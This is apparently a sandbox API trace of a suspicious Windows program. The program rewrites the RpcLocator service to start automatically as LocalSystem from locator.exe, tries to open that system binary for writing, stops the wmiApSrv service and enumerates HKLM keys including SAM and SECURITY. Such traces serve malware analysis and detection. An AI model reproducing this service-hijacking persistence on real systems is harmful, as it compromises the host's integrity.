0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.042] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.042] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0239.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.044] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.044] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.045] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0239.045] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0239.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0239.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0239.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.045] LocalFree (hMem=0x7e4b18) returned 0x0 [0239.045] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0239.046] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x8038a0 [0239.046] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0239.047] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.047] RegCloseKey (hKey=0x150) returned 0x0 [0239.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0239.048] RegCloseKey (hKey=0x14c) returned 0x0 [0239.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0239.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0239.048] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0239.048] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.048] GetLastError () returned 0x20 [0239.048] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0239.049] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0239.049] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0239.049] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0239.049] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0239.049] GetLastError () returned 0x425 [0239.049] CloseServiceHandle (hSCObject=0x803990) returned 1 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0239.050] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.050] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.050] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.051] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.051] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.051] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.051] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.052] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.052] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.052] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.052] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 